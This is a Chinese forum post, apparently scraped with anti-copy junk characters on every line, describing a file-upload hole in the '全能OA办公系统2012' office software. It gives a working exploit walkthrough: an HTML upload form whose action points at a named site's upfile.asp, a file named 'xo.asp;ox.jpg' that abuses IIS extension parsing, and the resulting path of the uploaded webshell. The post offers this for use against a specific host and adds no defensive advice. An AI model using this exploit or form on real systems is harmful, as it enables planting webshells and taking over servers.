全能OA办公系统 上传漏洞- A& v. g+ W4 u' d& Z
3 g8 d+ \2 Y0 s( X3 c. O系统介绍:
0 S5 m5 |" R4 h" [8 J+ ?! y/ [9 h4 ]6 p: O3 z: Q) x* x
全能OA办公系统2012是功能非常强大的OA系统,目前功能已完全能满足日常办公需要。
$ i. _8 a* `/ _7 a R/ c
3 t: s) [: ~$ @ T; z5 W主要功能:
. ~; H& \" f' y; L公司通告 * S- B$ k `2 j1 c8 n6 R# A- @
工作计划 6 [" c5 Y8 ~! L- V+ ^: t/ g
通讯助理 & Q/ Z. K' Z; l; Y9 z
客户资源
/ L( {: ]: p- l( P/ l0 U我的公文
2 n) M) U4 {4 H7 a6 d& J公文传阅
: r) y% V2 j% _' A+ h* W公共资源 * P* B( S$ U6 X5 g- E7 W9 }$ O, s
资源预约
3 }; y. G3 |7 i* k# C今日考勤
4 L' p. C+ }! U, }/ o; h个人计划 5 b, O, L4 `' Q7 F5 V6 n# R
个人通讯录 1 O6 } n" L( S+ @ }
个人基本档案
$ V! n! Z3 ^" i未读邮件
* ]; q q5 v9 |发邮件
' m1 w7 g+ r# H7 E收件夹 9 B \; |1 u* c" @" X2 N: Y
寄件夹
9 S9 X/ m; j! v1 ]: V% a网络硬盘
/ ^' G# j) _* x6 o8 f网络会议 4 v: x. T; s( H% h) P3 @' u
网络调查
$ l1 H: T6 N- Q) t% [0 N交流论坛! H* p4 v2 P! h; A7 N/ P/ ~
+ k/ k; x* N: N+ L有兴趣测试的朋友可以下源码看看
6 M( ?& Y5 G% @3 i" C+ F
* T; ]" ]( q5 s, a6 ]* O* Y4 ?源码下载:
* q! q8 D/ B' q' s2 R* n f) ^. Y7 V7 V: R9 ~
http://www.mycodes.net/30/4750.htm$ [: _ x6 e$ }8 m- E8 b$ r
) z; Y2 j/ f3 n1 v/ s. w6 U漏洞介绍:. _3 Y& O4 E: g8 [) K7 @9 c
" U7 m2 ^% s! R5 D# A' X$ y% ^由upfile.asp上传文件漏洞引起! _( T8 L: U. z2 M, d9 x
; s+ w$ p5 I5 N. c
测试方法:- C8 S: t! {- ~* k, ^
* b z0 H) y1 ~2 S' d
使用名小子上传http://www.itlynn.com/upfile.asp即可
6 W0 |' r) T! `0 d
3 U/ R$ g! S# ~如果upfile.asp文件被删除不存在。
. Y6 o* ]% X' Y3 J/ K
& ]' P# w3 V1 l7 ~9 I9 h 那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。
* d% E0 }% B$ k' g' G4 E `% N( c) @4 E- Q- X
如果存在那么将如下代码保存为upfile.html。7 H/ l L( j }! m0 V
$ Y c2 c9 E/ i4 t* `- F; R5 ~6 i
然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。
9 g8 l0 P/ r# v; z
H, o# c* j; ?- h; {, F" d
: F6 p# i9 g. m9 n* c: \* \0 j" H8 n% \5 D4 Q4 U0 z1 o
01 <table border='0' align="center" cellpadding="5">
5 G! ?9 R6 u2 l! I) o9 i& ^' I8 V# _% }5 {5 z$ A, A8 e
02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1"> $ f( M6 F; x! i( N. T6 x
4 ~$ k% F- z2 D) Z03 <tr>
* B0 \1 a/ _6 a1 f3 }
0 R: F; x0 U; P( _04 <td>报错:</td> ( G& s- O A$ g2 M/ t
8 c$ i" D! B% r# V6 n' z: [7 @05 <td><input type='radio' name='errnumber' value='0'>
0 ` e$ G1 C. ^& v
2 ?! r1 n+ R% ?8 B$ U. V; H( e06 自动更名 ; n$ ]* F Z! Y- H
% |$ a8 Z, J1 \) T1 Q07 <input type='radio' name='errnumber' value='1' checked> - x) O" C" ]) G/ W/ {
- _5 N: M0 F2 Z8 T/ S+ h# R$ p08 报错方式 1 \5 q! @ X# s
( s0 |7 r9 r7 Q7 `) G m09 <input type='radio' name='errnumber' value='2'>
; F+ u- V, E) Z! A4 N6 N/ j5 @8 X% _8 g' a) g
10 直接覆盖</td> * m5 }8 @9 J5 j3 b6 D
# k$ y" X( [. i3 s5 o/ G. {- @11 </tr> : ?: L; B5 ]/ D
- p0 I7 r/ o+ O
12 <tr>
3 V( V. K' q2 ?) D* r. r7 [" K$ U
$ k- q: \3 E8 t, O13 <td>主题:</td>
8 g7 U/ f; a1 d+ X4 ^3 l6 u# S$ R) Q$ g6 ]9 M
14 <td><input type='text' name='filename' size='30'></td> 2 }4 n# a8 o' r+ V
% r0 S$ M1 X& T, ^15 </tr>
8 `2 ~' D; e7 K6 A# m0 a0 T. H% G1 j0 p* i
16 <tr> ' M6 t& \$ X: w4 ?& z
: |+ A) }1 Y; w" j. ?) T% |4 [# O
17 <td>文件:</td>
+ A) W1 I# n- G
4 |+ W0 L9 \8 G18 <td><input type="file"name="fruit"size="30"></td>
" ?9 J8 ] o8 L5 P: j: M+ ]" R
19 </tr> % L7 {5 |# [& N# J
! s+ n. G& S3 g, N
20 <tr> / Y; { R$ F( u2 G) d! [0 ]
8 A* J$ i( b( Q, O5 [4 i8 `21 <td valign='top'>简介:</td>
5 D4 M3 G4 H/ T9 W6 P- G+ O _
; I/ A# `9 G( u! Z2 U: L& b: {22 <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>
, r6 ~9 q# w8 i" W8 H( x J9 U- m
. r% V! D# o" p- y" v0 V23 </tr>
$ Q* N) a* }* \# }
( d: y$ n Y: q a24
$ S* H: K6 w1 R0 ^$ E) F. S( i5 Y- E* l
25 <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td> 9 f. b, ~- D3 U1 x/ H
: H) i z! n4 a9 T
26 </tr> 1 l) [& P4 v4 |: o
+ ?: y7 O* h1 ~3 V7 U/ }27 </form>
0 c8 v2 Q+ Q5 ^( x4 M4 c; ^ y% O& C9 `
然后打开上传一个文件名为xo.asp;ox.jpg的文件。
9 i }# C* T2 n1 R
9 s# u$ ?) u; O9 T. n. M
5 q/ _4 T; z }& H
! _ M4 k0 ]* D上传成功后,马的路径是:http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg) I8 S- g( |4 \3 p
/ L) z+ B9 @# d E3 E6 q7 Z此漏洞需要配合解析漏洞利用。" [, I3 X3 d; i: E% N7 j6 V1 \3 ~
# o/ K, U4 Y3 E- v$ z S
|